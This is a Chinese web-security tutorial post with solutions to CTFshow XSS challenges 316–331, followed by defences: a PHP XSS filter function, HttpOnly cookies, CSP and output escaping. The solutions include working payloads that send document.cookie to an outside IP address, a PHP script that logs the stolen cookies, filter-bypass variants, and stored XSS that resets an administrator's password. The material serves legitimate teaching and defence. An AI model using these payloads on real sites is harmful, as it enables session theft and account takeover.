day38WEB攻防-通用漏洞XSS跨站绕过修复http_onlyCSP标签符号

本章知识点:  

1 XSS 跨站 - 过滤绕过 - 便签 & 语句 & 符号等
2 XSS 跨站 - 修复方案 -CSP& 函数 &http_only

配套资源(百度网盘) 

链接:https://pan.baidu.com/s/12mLsvmU22dxueyAG0aqUhw?pwd=6oa3 
提取码:6oa3
XSS 绕过-CTFSHOW-316 331 关卡绕过 WP
xss绕过总结:https://xz.aliyun.com/t/4067

316-反射型-直接远程调用

xss语句:

<script>window.location.href='http://47.94.236.117/get.php?c='+document.cookie</script>

window.location.href='' 表示指向跳转链接   document.cookie 表示获取cookie值

构造xss代码后,在服务器准备一个接受cookie的php文件,这里假设文件名称为get.php,文件内容如下:
<?php
$cookie=$_GET['c'];
$myfile=fopen("cookie.txt","W+");
fwrite($myfile,$cookie);
fclose($myfile);
?>

317-反射型-过滤<script>

xss语句:

<img src=1 onerror=window.location.href='http://47.94.236.117/get.php?c='+do cument.cookie;>

318 319-反射型-过滤<img>

<input onload="window.location.href='http://47.94.236.117/get.php?c='+document.cookie;">
<svg onload="window.location.href='http://47.94.236.117/get.php?c='+document.cookie;">

320-326-反射型-过滤空格

<svg/onload="window.location.href='http://47.94.236.117/get.php?c ='+document.cookie;">

327-存储型-无过滤

<script>window.location.href='http://47.94.236.117/get.php?c='+document.cookie</script>

328-存储型-注册插入 JS

<script>window.location.href='http://47.94.236.117/get.php?c='+document.cookie</script>

后台管理员有功能页面,能够查看注册用户的账号密码,如果我们将注册的账号密码改成JS代码(获取cookie),在管理员查看账号密码的时候会不会触发JS。

329-存储型-失效凭据需 1 步完成所需操作

<script>
$('.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctf'+'show')>-1)
{
window.location.href='http://47.94.236.117/get.php?c='+value.innerHTML;
}
});
</script>
刚获取到cookie值就失效

330-存储型-借助修改密码重置管理员密码(GET)

<script src='http://127.0.0.1/api/change.php?p=123'> </script>

后台管理员有功能也页面,能够查看注册用户的账号密码

用户登入成功后有一个修改密码功能,(通过抓包分析,需要用户登入状态)通过访问一个地址即可修改密码

攻击:注册一个用户名和密码存在跳转修改密码的URL地址链接,如果管理员登入了后台,然后查看了用户信息,就会自动修改管理员的密码。

331-存储型-借助修改密码重置管理员密码(POST)

<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post' ,data:{p:'123'}});</script>

与330】关差不多,只是数据的提交方式改为了POST,js代码数据提交用POST提交即可

XSS过滤&防护

1,通过过滤函数过滤(PHP)

只要过滤写的足够好,基本上的XSS标签都能够过滤掉

//自定义过滤函数
function remove_xss($val) {// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed// this prevents some character re-spacing such as <java\0script>// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);// straight replacements, the user should never need these since they're normal characters// this prevents like <IMG SRC=@avascript:alert('XSS')>$search = 'abcdefghijklmnopqrstuvwxyz';$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';$search .= '1234567890!@#$%^&*()';$search .= '~`";:?+/={}[]-_|\'\\';for ($i = 0; $i < strlen($search); $i++) {// ;? matches the ;, which is optional// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars// @ @ search for the hex values$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;// @ @ 0{0,7} matches '0' zero to seven times$val = preg_replace('/( {0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;}// now the only remaining whitespace attacks are \t, \n, and \r$ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');$ra = array_merge($ra1, $ra2);$found = true; // keep replacing as long as the previous round replaced somethingwhile ($found == true) {$val_before = $val;for ($i = 0; $i < sizeof($ra); $i++) {$pattern = '/';for ($j = 0; $j < strlen($ra[$i]); $j++) {if ($j > 0) {$pattern .= '(';$pattern .= '(&#[xX]0{0,8}([9ab]);)';$pattern .= '|';$pattern .= '|( {0,8}([9|10|13]);)';$pattern .= ')*';}$pattern .= $ra[$i][$j];}$pattern .= '/i';$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag$val = preg_replace($pattern, $replacement, $val); // filter out the hex tagsif ($val_before == $val) {// no replacements were made, so exit the loop$found = false;}}}return $val;
}

2,HTTP-only Cookie

php设置httponly的方法:首先找到并打开“php.ini”文件;然后设置“session.cookie_httponly”项的值为1或者true;接着通过“setrawcookie”方法开启即可。

PHP设置Cookie的HTTPONLY属性

httponly是微软对cookie做的扩展。这个主要是解决用户的cookie可能被盗用的问题。

大家都知道,当我们去邮箱或者论坛登陆后,服务器会写一些cookie到我们的浏览器,当下次再访问其他页面时,由于浏览器回自动传递cookie,这样就实现了一次登陆就可以看到所有需要登陆后才能看到的内容。也就是说,实质上,所有的登陆状态这些都是建立在cookie上的!假设我们登陆后的cookie被人获得,那就会有暴露个人信息的危险!当然,想想,其他人怎么可以获得客户的cookie?那必然是有不怀好意的人的程序在浏览器里运行!如果是现在满天飞的流氓软件,那没有办法,httponly也不是用来解决这种情况的,它是用来解决浏览器里javascript访问cookie的问题。试想,一个flash程序在你的浏览器里运行,就可以获得你的cookie的!

IE6的SP1里就带了对httponly的支持,所以相对还说还是些安全性。

PHP中的设置 

 PHP5.2以上版本已支持HttpOnly参数的设置,同样也支持全局的HttpOnly的设置,在php.ini中

session.cookie_httponly =

设置其值为1或者TRUE,来开启全局的Cookie的HttpOnly属性,当然也支持在代码中来开启:

<?php ini_set("session.cookie_httponly", 1);?>

Cookie操作函数setcookie函数和setrawcookie函数也专门添加了第7个参数来做为HttpOnly的选项,开启方法为:

setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
setrawcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);

对于PHP5.1以前版本以及PHP4版本的话,则需要通过header函数来变通下了:

<!--?php header("Set-Cookie: hidden=value; httpOnly"); ?-->

设置了httponly就会导致攻击者获取的cookie值失效,不过httponly只是防止了js获取cookie值,但是用beef可以获取到。

3,设置CSP(Content Security Policy)、

CSP配置代码:

header("Content-Security-Policy:img-src 'self' ");

关于CSP的详细介绍请看这篇文章:https://blog.csdn.net/a1766855068/article/details/89370320

网站可以通过配置CSP使cookie以及其它数据无法发送出去。

4,输入内容长度限制,实体转义等 

长度限制,因为一般构造xss语句都会有一定的长度,所以长度限制也能够限制一些攻击。

 实体转义就是把一些特殊符号转义成别的,导致代码失效,比如将<转义成&gt,可以通过内置html转义函数进行转义。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/670007.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

地下停车场智慧监查系统:科技让停车更智能

随着城市化进程的加速&#xff0c;停车难成为了许多城市居民的痛点。而地下停车场作为解决停车难问题的重要手段&#xff0c;其安全性和便捷性也成为了人们关注的焦点。为了解决这一问题&#xff0c;山海鲸可视化搭建的地下停车场智慧监查系统应运而生&#xff0c;为车主们提供…

【极数系列】Flink集成KafkaSink 实时输出数据(11)

文章目录 01 引言02 连接器依赖2.1 kafka连接器依赖2.2 base基础依赖 03 使用方法04 序列化器05 指标监控06 项目源码实战6.1 包结构6.2 pom.xml依赖6.3 配置文件6.4 创建sink作业 01 引言 KafkaSink 可将数据流写入一个或多个 Kafka topic 实战源码地址,一键下载可用&#xf…

如何在Linux系统中安装MySQL

要在Linux系统中安装MySQL&#xff0c;您可以使用系统的包管理工具。以下是一些常见的Linux发行版的安装命令&#xff1a; 1. **Ubuntu/Debian:** bash sudo apt-get update sudo apt-get install mysql-server 2. **Fedora:** bash sudo dnf install mysql-server 3. **Cent…

查大数据检测到风险等级太高是怎么回事?

随着金融风控越来越多元化&#xff0c;大数据作为新兴的技术被运用到贷前风控中去了&#xff0c;不少人也了解过自己的大数据&#xff0c;但是由于相关知识不足&#xff0c;看不懂报告&#xff0c;在常见的问题中&#xff0c;大数据检测到风险等级太高是怎么回事呢?小易大数据…

Oracle systemstate、gdb、dbx介绍

当数据库出现严重的性能问题或者hang了的时候&#xff0c; 可能最常用的办法就是重启数据库&#xff0c;简单有效解决问题&#xff1b;但是重启后如何追踪问题的根本原因成了难题&#xff0c;很多信息随着重启也消失不见了&#xff0c;让追查问题变的十分棘手&#xff0c;这时就…

别具一格,质感拉满 | PITAKA苹果Apple Watch彩碳表带开箱

别具一格&#xff0c;质感拉满 | PITAKA苹果Apple Watch彩碳表带开箱 我是在前年的时候购买的目前手头这款Apple Watch Series7&#xff0c;因为是购买的Nike版&#xff0c;所以可以看到它的表带标配为透气孔的运动型表带。 &#x1f53a;耐克版的透气孔表带虽说在一定程度上解…

OpenStack安全策略提升

1.规划节点 IP主机名节点192.168.100.10controllerOpenStack控制节点192.168.100.20computeOpenStack计算节点 2.环境准备​ 使用OpenStack平台的两台节点&#xff0c;节点规划表中的IP地址为作者的IP地址&#xff0c;在进行实操案例的时候&#xff0c;按照自己的环境规划网络…

Three.js学习6:透视相机和正交相机

一、相机 相机 camera&#xff0c;可以理解为摄像机。在拍影视剧的时候&#xff0c;最终用户看到的画面都是相机拍出来的内容。 Three.js 里&#xff0c;相机 camera 里的内容就是用户能看到的内容。从这个角度来看&#xff0c;相机其实就是用户的视野&#xff0c;就像用户的眼…

【cmu15445c++入门】(6)c++的迭代器

一、迭代器 C 迭代器是指向容器内元素的对象。它们可用于循环访问该容器的对象。我们知道迭代器的一个示例是指针。指针可用于循环访问 C 样式数组. 二、代码 自己实现一个迭代器 // C iterators are objects that point to an element inside a container. // They can be…

【国产MCU】-CH32V307-模拟/数字转换器(ADC)

模拟/数字转换器(ADC) 文章目录 模拟/数字转换器(ADC)1、ADC介绍2、ADC驱动API介绍3、ADC使用实例3.1轮询方式采样3.2 中断方式采样3.3 DMA方式读取数据3.4 读取温度传感器值CH32V307内嵌2个12位的模拟/数字转换器(ADC),共用多达16 个外部通道和2 个内部通道采样,可编程的通道…

学习与学习理论 - 2024教招

一 学习的概述 1 学习的概念及其内涵 &#xff08;1&#xff09;学习的概念 学习是个体在特定情境下由于练习和反复经验而产生的行为或行为潜能的比较持久的变化。 人类的学习和动物学习的本质区别 人类学习是一个积极、主动的建构过程;人类的学习是掌握社会历史经验和个体经…

University Program VWF仿真步骤__全加器

本教程将以全加器为例&#xff0c;选择DE2-115开发板的Cyclone IV EP4CE115F29C7 FPGA&#xff0c;使用Quartus Lite v18.1&#xff0c;循序渐进的介绍如何创建Quartus工程&#xff0c;并使用Quartus Prime软件的University Program VWF工具创建波形文件&#xff0c;对全加器的…

人工智能:数据分析之数据预处理、分析建模、可视化

人工智能在数据分析中起着重要的作用。它可以帮助我们进行数据预处理、分析建模和可视化&#xff0c;从而揭示数据中隐藏的模式和趋势&#xff0c;以便做出更准确的决策。 数据预处理是在进行分析之前对数据进行清洗和转换的过程。这包括去除重复值、处理缺失值、处理离群值、…

【Android-Compose】Material3 新版下拉刷新 PullRefresh

这里写自定义目录标题 1、&#xff08;新&#xff09;用于 Jetpack Compose 的刷新指示器1.1 SwipeRefresh 迁移到新的 PullRefresh1.2 迁移步骤1.3 自定义指示器 2、原始文档&#xff08;SwipeRefresh &#xff09;的使用依赖导入2.1 使用方法2.2 完整示例&#xff08;包括视图…

生物素-PEG4-酪胺,Biotin-PEG4-TSA,应用于酶联免疫吸附实验

您好&#xff0c;欢迎来到新研之家 文章关键词&#xff1a;生物素-PEG4-酪胺&#xff0c;Biotin-PEG4-Tyramide&#xff0c;Biotin-PEG4-TSA 一、基本信息 产品简介&#xff1a;Biotin PEG4 Tyramine is a reagent used for tyramine signal amplification (TSA) through ca…

算法.1-三大排序算法-对数器-二分

三大排序算法&对数器 1.选择排序 Java版 package class01;import java.util.Arrays;public class Code01_SelectionSort {public static void selectionSort(int[] arr) {if (arr null || arr.length < 2) {return;}// 0 ~ N-1 找到最小值&#xff0c;在哪&#xf…

深入探讨Python中的装饰器技术

1. 引言 Python是一门富有特色的编程语言&#xff0c;拥有众多强大的特性和工具。本文将深入研究Python中的装饰器技术&#xff0c;这是一种高级而灵活的编程概念&#xff0c;用于增强函数或方法的功能。 2. 装饰器基础 装饰器是一种函数&#xff0c;用于修改其他函数的行为…

5-2、S曲线计算【51单片机+L298N步进电机系列教程】

↑↑↑点击上方【目录】&#xff0c;查看本系列全部文章 摘要&#xff1a;本节介绍S曲线的基本变换&#xff0c;将基本形式的S曲线变换成为任意过两点的S曲线&#xff0c;为后续步进电机S曲线运动提供理论支撑 一.计算目标 ①计算经过任意不同两点的S曲线方程 ②可调节曲线平…

Linux命令-at命令(在指定时间执行一个任务)

说明 at命令 用于在指定时间执行命令。 at允许使用一套相当复杂的指定时间的方法。它能够接受在当天的hh:mm&#xff08;小时:分钟&#xff09;式的时间指定。假如该时间已过去&#xff0c;那么就放在第二天执行。 当然也能够使用midnight&#xff08;深夜&#xff09;&#xf…

2.5 作业

第四章 堆与拷贝构造函数 一 、程序阅读题 1、给出下面程序输出结果。 #include <iostream.h> class example {int a; public: example(int b5){ab;} void print(){aa1;cout <<a<<"";} void print()const {cout<<a<<endl;} }; void m…